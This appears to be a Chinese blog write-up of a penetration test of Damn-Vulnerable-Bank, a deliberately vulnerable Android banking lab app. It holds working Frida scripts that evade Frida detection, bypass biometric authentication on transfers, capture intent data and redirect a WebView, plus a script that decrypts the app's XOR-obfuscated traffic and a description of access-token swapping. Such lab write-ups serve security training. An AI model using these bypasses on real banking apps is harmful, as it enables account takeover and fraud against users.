wsy1qaz2wsx

导航

Damn-Vulnerable-Bank Writeup

把apk拖入jadx,先看看有没有什么有意思的so:

可见有工具检测和frida检测.接下来尝试过frida检测.
首先先写个script,看看app会在哪个so闪退:

点击查看代码
function getsoName(){
    var addr = Module.findExportByName(null,"android_dlopen_ext");
    Interceptor.attach(addr,{
        onEnter:function(args){
            let name = ptr(args[0]).readCString();
            if(name !== null){
                console.log('[+] 检测到so文件:')
                console.log("    "+name);
            }
        },
        onLeave:function(){}
    })
}

setImmediate(getsoName);

用apktool解包,ida查看libfrida-check.so,其中一个方法Java_com_app_damnvulnerablebank_FridaCheckJNI_fridaCheck似乎有点意思,分析一下:

这段代码本质上就是在检查测试机27042(frida server默认端口)有没有被监听.故给frida server换个端口就过检测了:


注意一下frida server指定端口时ip地址不要写127.0.0.1,frida连接的时候用-H,不要写-U即可.
事实上,如果继续分析,在MainActivity的onCreat方法中就能发现frida检测的java层逻辑:

实际上,再往上看还能看到关于模拟器、debugger和root的检测代码,不妨一起分析一下:

此为app中的实际检测代码
    public void onCreate(Bundle bundle0) {
        super.onCreate(bundle0);
        this.getWindow().setFlags(0x400, 0x400);
        this.setContentView(0x7F0D001F);  // layout:activity_banklogin
        int v = (this.getApplicationInfo().flags & 2) == 0 ? 0 : 1;
        FridaCheckJNI fridaCheckJNI0 = new FridaCheckJNI();
        if(Debug.isDebuggerConnected()) {
            Toast.makeText(this.getApplicationContext(), "Debug from vm", 1).show();
        }

        if(c.b.a.d.a < 0) {
            int v1 = (Build.PRODUCT.contains("sdk")) || (Build.PRODUCT.contains("Andy")) || (Build.PRODUCT.contains("ttVM_Hdragon")) || (Build.PRODUCT.contains("google_sdk")) || (Build.PRODUCT.contains("Droid4X")) || (Build.PRODUCT.contains("nox")) || (Build.PRODUCT.contains("sdk_x86")) || (Build.PRODUCT.contains("sdk_google")) || (Build.PRODUCT.contains("vbox86p")) ? 1 : 0;
            if((Build.MANUFACTURER.equals("unknown")) || (Build.MANUFACTURER.equals("Genymotion")) || (Build.MANUFACTURER.contains("Andy")) || (Build.MANUFACTURER.contains("MIT")) || (Build.MANUFACTURER.contains("nox")) || (Build.MANUFACTURER.contains("TiantianVM"))) {
                ++v1;
            }

            if((Build.BRAND.equals("generic")) || (Build.BRAND.equals("generic_x86")) || (Build.BRAND.equals("TTVM")) || (Build.BRAND.contains("Andy"))) {
                ++v1;
            }

            if((Build.DEVICE.contains("generic")) || (Build.DEVICE.contains("generic_x86")) || (Build.DEVICE.contains("Andy")) || (Build.DEVICE.contains("ttVM_Hdragon")) || (Build.DEVICE.contains("Droid4X")) || (Build.DEVICE.contains("nox")) || (Build.DEVICE.contains("generic_x86_64")) || (Build.DEVICE.contains("vbox86p"))) {
                ++v1;
            }

            if((Build.MODEL.equals("sdk")) || (Build.MODEL.equals("google_sdk")) || (Build.MODEL.contains("Droid4X")) || (Build.MODEL.contains("TiantianVM")) || (Build.MODEL.contains("Andy")) || (Build.MODEL.equals("Android SDK built for x86_64")) || (Build.MODEL.equals("Android SDK built for x86"))) {
                ++v1;
            }

            if((Build.HARDWARE.equals("goldfish")) || (Build.HARDWARE.equals("vbox86")) || (Build.HARDWARE.contains("nox")) || (Build.HARDWARE.contains("ttVM_x86"))) {
                ++v1;
            }

            if((Build.FINGERPRINT.contains("generic/sdk/generic")) || (Build.FINGERPRINT.contains("generic_x86/sdk_x86/generic_x86")) || (Build.FINGERPRINT.contains("Andy")) || (Build.FINGERPRINT.contains("ttVM_Hdragon")) || (Build.FINGERPRINT.contains("generic_x86_64")) || (Build.FINGERPRINT.contains("generic/google_sdk/generic")) || (Build.FINGERPRINT.contains("vbox86p")) || (Build.FINGERPRINT.contains("generic/vbox86p/vbox86p"))) {
                ++v1;
            }

            int v2 = v1;
            try {
                String s = GLES20.glGetString(0x1F01);
                if(s != null) {
                    if(s.contains("Bluestacks")) {
                        goto label_269;
                    }
                    else {
                        boolean z = s.contains("Translator");
                        goto label_266;
                    }
                }
            }
            catch(Exception exception0) {
                exception0.printStackTrace();
            }

            goto label_271;
        label_266:
            if(z) {
                v2 += 10;
                goto label_271;
            label_269:
                v2 += 10;
            }

            try {
            label_271:
                boolean z1 = new File(Environment.getExternalStorageDirectory().toString() + File.separatorChar + "windows" + File.separatorChar + "BstSharedFolder").exists();
            }
            catch(Exception exception1) {
                exception1.printStackTrace();
                goto label_299;
            }

            if(z1) {
                v2 += 10;
            }

        label_299:
            c.b.a.d.a = v2;
        }

        int v3 = c.b.a.d.a <= 3 ? 0 : 1;
        if(v3 != 0) {
            Toast.makeText(this.getApplicationContext(), "Emulator Detected", 1).show();
        }

        if(v != 0) {
            Toast.makeText(this.getApplicationContext(), "Debbuger is Running", 0).show();
        }

        if(a.R()) {
            Toast.makeText(this.getApplicationContext(), "Phone is Rooted", 0).show();
            this.finish();
        }

        if(fridaCheckJNI0.fridaCheck() == 1) {
            Toast.makeText(this.getApplicationContext(), "Frida is running", 0).show();
            Log.d("FRIDA CHECK", "FRIDA Server DETECTED");
            this.finish();
        }
        else {
            Log.d("FRIDA CHECK", "FRIDA Server NOT RUNNING");
            Toast.makeText(this.getApplicationContext(), "Frida is NOT running", 0).show();
        }
由上述代码可知,debugger检测是直接调用了api函数,模拟器检测是进行了很多特征的比对然后计分,分高就判断为模拟器. 再去分析a.R,可知是通过检查存不存在各类su文件来检测设备是否root. 接下来先看看注册页面有没有什么漏洞. 创建一个用户,同时抓包,能看到请求内容:

看数据名应该是一段加密数据,所以尝试分析一下如何对数据进行解密.直接找到对应的代码部分:

可见,本质上就是把数据和字符串'amazing'循环异或,然后base64编码.我们甚至可以写一个脚本解密数据:

点击查看代码
import base64

KEY =  "amazing" 

def Decrypt(text):
    d64text = base64.b64decode(text)
    detext = []
    for i,s in enumerate(d64text):
        detext.append(s^ord(KEY[i%len(KEY)]))
    return bytes(detext).decode("utf-8", errors="replace")

def Encrypt(text):
    entext = []
    for i,s in enumerate(text):
        entext.append(ord(s)^ord(KEY[i%len(KEY)]))
    return base64.b64encode(bytes(entext))


if __name__ == "__main__":
    enc_data = 'Gk8UCQwcCQAABFhTTAEJCwkdS0JFEQwSCR4BFQVPW1gPFwEGCgYdDkwa'
    result = Decrypt(enc_data)
    print(result)   

然后登陆.把返回的数据解密一下,获得access token:

接下来尝试能不能使用这个access token实现越权.登陆测试帐号1,但在获取个人信息时将请求头中的Authorization替换为帐号2的.事实证明access token就是不同账号的身份鉴别信息:

当然,如何在实际过程中获取到别的账号的access token,是一个需要思考的问题.
在测试过程中,可以发现APP中可以添加转账账户,并查看添加的账户.测试添加账户功能之后,查看添加的账户,发现账户被标示"不可信":

点击转账按钮,发现没有可选择的转账账户.或许是因为账户不可信.所以考虑一下如何让账户变得可信.在dashboard,能看到一个"Approve Benf".点击之后页面闪退:

寻找这个activity页面.首先全局搜索"Exclusive endpoint",但没有结果.但在server掉线的时候,发现activity弹窗"Something went wrong!"

这句可以全局搜索到,因此确定该activity为ApproveBeneficiary.
查看Dashboard,发现其中没有直接启动ApproveBeneficiary,而是启动了PendingBeneficiary.查看可知,PendingBeneficiary启动了ApproveBeneficiary.

分析一下PendingBeneficiary,并没有发现什么值得关注的内容,同时也没发现什么权限鉴别代码.再次点击"Approve Benf"按钮,并对该过程抓包,可以确定鉴权应该是在server端进行了.分析PendingBeneficiary,发现activity跳转过程中在intent里塞了数据.

所以我们用frida看看intent里携带的数据是什么.结果竟然发现,ApproveBeneficiary完全没启动!

现在分析PendingBeneficiary.分析C0596p m29Z = C0000a.m29Z(this)这句代码,能确定这里是对应的volley创建requestqueue:

看了一圈,PendingBeneficiary似乎没有什么可利用的内容.那只能考虑抓请求包然后把header里的Authorization换成admin账号的,才能实现账户变的可信.
直接在docker中查看用户表:

使用admin账户登录,点击"Approve Benf"按钮,同时抓包,能看到数据包内容和实际界面内容:

此时,使用frida,能够确定,在现在这个页面,依旧是`PendingBeneficiary`,只有点击具体的账户后,才进入了`ApproveBeneficiary`. 查看`PendingBeneficiary`onCreat方法,可以发现有一个似乎很像volley 创建request的代码:

如果这确实是,那么C0622j,C0623k应该就是回调函数.跟过去分析,发现确实是:

可以发现,实际上回调函数就是根据请求的响应码来判断应该显示的内容的.接下来尝试抓这个请求包,并把请求包中的AUTHORIZATION属性改为admin账户的,理论上此时应该能够正常加载该activity.
实际尝试中,会发现请求具有严格的时间窗口,修改等操作会导致超时,连接断开.

使用admin账户对所有测试账号进行认证.对于认证过程,考虑MIMT修改请求或SQL注入.
接下来测试转账功能.分析相关代码,会发现转账过程存在生物识别,而且可以发现验证方式明显使用的是WEAK:

此外,可知验证成功的回调函数是a:

简单的分析一下a,可知就是向server发送转账请求完成转账.
考虑使用frida过生物识别:

frida过BioAuth
function BypassBioauth(){
    Java.perform(
        function(){
            var prompt = Java.use("androidx.biometric.BiometricPrompt")
            // var clz = Java.use("com.app.damnvulnerablebank.SendMoney$a")
            var c = Java.use("androidx.biometric.BiometricPrompt$c")
            var d = Java.use("androidx.biometric.BiometricPrompt$d")
            var mac = Java.use("javax.crypto.Mac")

            var mac_object = mac.getInstance("HmacSHA256")
            var object_d = d.$new(mac_object)
            var object_c = c.$new(object_d)

           
            prompt.b.implementation = function(){
                
            Java.choose("com.app.damnvulnerablebank.SendMoney$a",{
                onMatch:function(instance){
                    instance.a(object_c)
                },
                onComplete:function(){}
                })
            }
        } 
    )
}

与此同时,注意到App中存在多个可导出activity:

既然SendMoney这个activity可导出,尝试直接触发转账.
首先先看一看在整个转账过程中,activity之间的启动关系,以及启动SendMoney被启动时,是否被传入了数据.

接下来用frida获取intent,看看传输的数据的内容.仅是分析代码的话,intent中传输的应该是account number.

frida get intent data script
function getDataInIntent(){
    Java.perform(
        function(){
        var intent = Java.use("android.content.Intent");
        intent.putExtra.overload(
            'java.lang.String',
            'java.lang.String'
        ).implementation = function(key,value){
            console.log("[putExtra] " + key + " = " + value);
            return this.putExtra(key, value);
            }
        }
    )
}

确定传输数据的确是account number.
尝试直接启动activity SendMoney.

再尝试一下能不能用这样的方式转账给一个未添加的账户/未认证的账户.
实际测试后,会发现可以调出转账页面,但是提交请求后会报错"未经认证的账户",且能够确定这个识别过程是在server端进行的,因为解包server返回的数据包,其内容为"无效的输入".

接下来分析查看汇率功能.能够直接确定Activity CurrencyRates使用了webview,且启用了javascript.

按照代码,不难发现需要在intent中传递数据以改变webview加载的页面url.
尝试frida写个script.

frida修改webview加载页面
function addIntent(){
    Java.perform(
        function(){
           var activity = Java.use("android.app.Activity")
               var uri = Java.use("android.net.Uri");
           activity.startActivity.overload("android.content.Intent")
           .implementation = function(intent){
                intent.putExtra("key","value")
                intent.setData(
                    uri.parse(
                         "app://webview?url=https://baidu.com"
                    )
                )
                console.log(1)
            this.startActivity(intent)
            }
        }
    )
}

成功修改了加载的页面,考虑通过构造恶意页面来发动攻击.由于webview的设置并没有启用文件读取,也没有调用js方法,所以抓请求包,看看有没有敏感信息泄露.

没有看到关键的敏感信息,看来这个webview也没有很大的利用面.
最后来看看密码重置功能.
先重置一下,抓包看看请求内容.

审计相关代码,可知该部分并未存在可利用的漏洞.
此外,根据其他博客文章,可知该APP存在日志泄露敏感信息问题.

logcat看一下APP的日志:

很奇怪,不论做什么操作,都未能触发该日志.

posted on 2026-06-01 16:49  wsyyyyyyy  阅读(25)  评论(0)    收藏  举报